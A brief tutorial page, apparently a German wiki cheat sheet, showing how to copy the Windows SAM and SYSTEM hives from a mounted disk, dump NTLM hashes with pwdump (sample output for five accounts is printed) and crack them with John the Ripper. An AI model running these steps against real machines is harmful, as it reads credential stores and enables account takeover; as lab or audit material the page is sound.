John-the-ripper-windows

Pwdump

• cd /mnt/Windows/System32/config
• cp SAM SYSTEM /root
• cd /root
• pwdump SYSTEM SAM > hash.txt
• root@kali:~# cat hash.txt

Administrator:500:aad3b435b51404eeaad3b435b51404ee:94aa68f72ab39cfec7ffcb58dca3358c:::
Gast:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jan:1001:aad3b435b51404eeaad3b435b51404ee:18af5f2d758336eade8dd06361c6acc2:::
xinux:1004:aad3b435b51404eeaad3b435b51404ee:912b772615d5d5c2619ea89650f923f6:::
thomas:1006:aad3b435b51404eeaad3b435b51404ee:912b772615d5d5c2619ea89650f923f6::

Cracken

• john hash.txt -format=NT

Anzeige mit Zuordnung

• john --show --format=NT hash1